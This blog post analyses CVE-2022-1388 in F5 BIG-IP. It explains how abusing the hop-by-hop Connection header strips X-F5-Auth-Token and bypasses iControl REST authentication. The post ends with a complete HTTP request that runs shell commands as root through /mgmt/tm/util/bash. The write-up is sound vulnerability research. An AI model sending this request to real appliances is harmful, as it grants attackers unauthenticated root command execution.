Introduction
In a cyber security world there are a lots of CVEs discovered and coming out daily. Many of CVEs don’t have a corresponding exploit code. One of the hunting methodology is to do a research on famous CVEs and write the exploit code (I also think the red teams do the same for their companies) to reach some vulnerabilities and bounties. When the CVE-2022-1388 came out, I was interested in order to exploit the flaw because it’s a famous product, and I had also researched on a similar vulnerability on f5 before. In this blog post I will show my path of analysis and exploitation.
Analysis
According to this link: On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication.
The following diagram shows the authentication flow in F5 iControl REST API. Also, F5 implants a custom apache module (mod_auth_pam) to check authentication before sending the request to iControl on port 8100.

Let me describe the flow above, in the beginning when HTTP request reaches the Apache, it checks if X-F5-Auth-Token
is present or not. If there is no token, the Apache will handle the authentication which is safe (The green part in the left side of the image). In the other way, it passes the full HTTP request including the X-F5-Auth-Token
to the Jetty. Jetty securely validates the token (The green part in the right side of the image). There is an orange part in the image which is the vulnerable path. How an attacker can craft an HTTP request to reach the orange part? If you’re interested in the answer, read the rest of the blog post, or you can think by yourself to solve the program.
I started the analysis by decompiling the iControl application (It’s a Java program). iControl is a REST API to manage the F5, it listens on port 8100. Apache implements a reverse proxy which passes all requests to iControl application:
Apache Reverse Proxy ^/mgmt/*$ -> localhost:8100 (iControl)
In iControl, the X-F5-Auth-Token
is validated. However, if there is no X-F5-Auth-Token
, The flowing block code will be executed:

Then if the token is not present, the flowing code will be executed:

If the authentication header is present, ONLY the username will be validated and authentication will be complete, It’s obviously shown in the image:

In the terms of checking HTTP request, I’ve seen two versions of iControl. In the first one, it does not matter if the request is came from localhost or not, in some other, there is a check based on the the X-Forwarded-Host
. Sadly, In the affected version, an attacker can overwrite the X-Forwarded-Host
header just by setting host
header to localhost
, the code:
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) { String authHeader = request.getBasicAuthorization(); if (authHeader == null) { return false; } AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); request.setIdentityData(components.userName, null, null); final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host"); if (xForwardedHostHeaderValue == null) { request.setIdentityData(components.userName, null, null); if (runnable != null) { runnable.run(); } return true; } String[] valueList = xForwardedHostHeaderValue.split(", "); int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0; if (valueList[valueIdx].contains("localhost") || valueList[valueIdx].contains("127.0.0.1")) { request.setIdentityData(components.userName, null, null); if (runnable != null) { runnable.run(); } return true; } }
The packet which overwrite the X-Forwarded-Host
is:
POST /tm/util/bash HTTP/1.1 Host: localhost X-Forwarded-Host: 127.0.0.1 Authorization: Basic YWRtaW46 User-Agent: curl/7.74.0 Accept: */* Content-Type: application/json Content-Length: 45 {"command": "run" , "utilCmdArgs": " -c id" }
Also in the previous vulnerability analysis, it was documented that local requests to iControl endpoints don’t require a password:
curl -su admin: -H "Content-Type: application/json" "http://localhost:8100/mgmt/tm/util/bash" -d '{"command":"run","utilCmdArgs":"-c id"}' | jq . { "kind": "tm:util:bash:runstate", "command": "run", "utilCmdArgs": "-c id", "commandResult": "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0n" }
However, if we do not provide X-F5-Auth-Token
, the authentication will be failed due to the Apache mod_auth_pam
.
If we provide it with an invalid value, the Apache will forward the request to the backend but iControl will see there is an X-F5-Auth-Token
so authentication will be failed again because we provide an invalid token.
Consequently, we have to send X-F5-Auth-Token
to the Apache and somehow, trick it to forward the request without the X-F5-Auth-Token
header. How is it possible?
Fail attempts with HRS
The first idea came across my mind was conducting HTTP request smuggling attack, if I could smuggle the HTTP request, I would bypass the authentication. Since the jetty server was too old, some known vulnerabilities took my attention, I also found a great blog post. Despite I put much effort here, I failed to exploit the hole.
Abusing HTTP hop-by-hop headers to bypass apache mod_auth_pam authentication check
After several attempts with HRS, I looked at the patch again and started thinking. The patch (which is not a real patch) was to configure the Apache:

Here are three conditions :
- The Connection header includes
keep-alive
-> it will set the header toConnection: keep-alive
- The connection header includes
close
-> it will set the header toConnection: close
- If it is something else -> it will set the header to
Connection: close
This patch made me think why they acted like this, I started searching about reverse proxies and I finally reached an amazing blog post which was a great lead, as the blog says:
A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header, which is designed to be present in the request all the way through to the end of the request. According to RFC 2612, the HTTP/1.1 spec treats the following headers as hop-by-hop by default:
Keep-Alive
,Transfer-Encoding
,TE
,Connection
,Trailer
,Upgrade
,Proxy-Authorization
andProxy-Authenticate
. When encountering these headers in a request, a compliant proxy should process or action whatever it is these headers are indicating, and not forward them on to the next hop.Further to these defaults, a request may also define a custom set of headers to be treated as hop-by-hop by adding them to the
Connection
header, like so:
Connection: close, X-Foo, X-Bar
In this example, we’re asking the proxy to treat
X-Foo
andX-Bar
as hop-by-hop, meaning we want a proxy to remove them from the request before passing the request on.
Did you find the vulnerability?
If we provide X-F5-Auth-Token
and Connection: close, X-F5-Auth-Token
in the HTTP request, we pass the check-in mod_auth_pam
, because we provide a X-F5-Auth-Token
header, but we force Apache to eliminate the X-F5-Auth-Token
Based on the above research, I could bypass apache mod_auth_pam
and the authentication.
Putting it all together
- Set the Connection header to
X-F5-Auth-Token
to bypass apache authentication - Set Authentication header to
admin:anything
- In some versions, you have to set
Host
header tolocalhost
or127.0.0.1
to bypass the validation insetIdentityFromBasicAuth
- Jetty will see a request that does not contain
X-F5-Auth-Token
but has an authentication header, also has aX-Forwarded-Host
header valued bylocalhost
- The username part of the authentication header will make authentication successful
The HTTP packet:
POST /mgmt/tm/util/bash HTTP/1.1 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Connection: X-F5-Auth-Token Host: 127.0.0.1 Authorization: Basic YWRtaW46aG9yaXpvbjM= X-F5-Auth-Token: a Content-Type: application/json Content-Length: 86 {"command": "run", "utilCmdArgs": "-c id"}
Once I succeeded exploiting the hole, I made a tweet to share my result, and I decided to write a blog post about it, I hope you find it useful, thank you.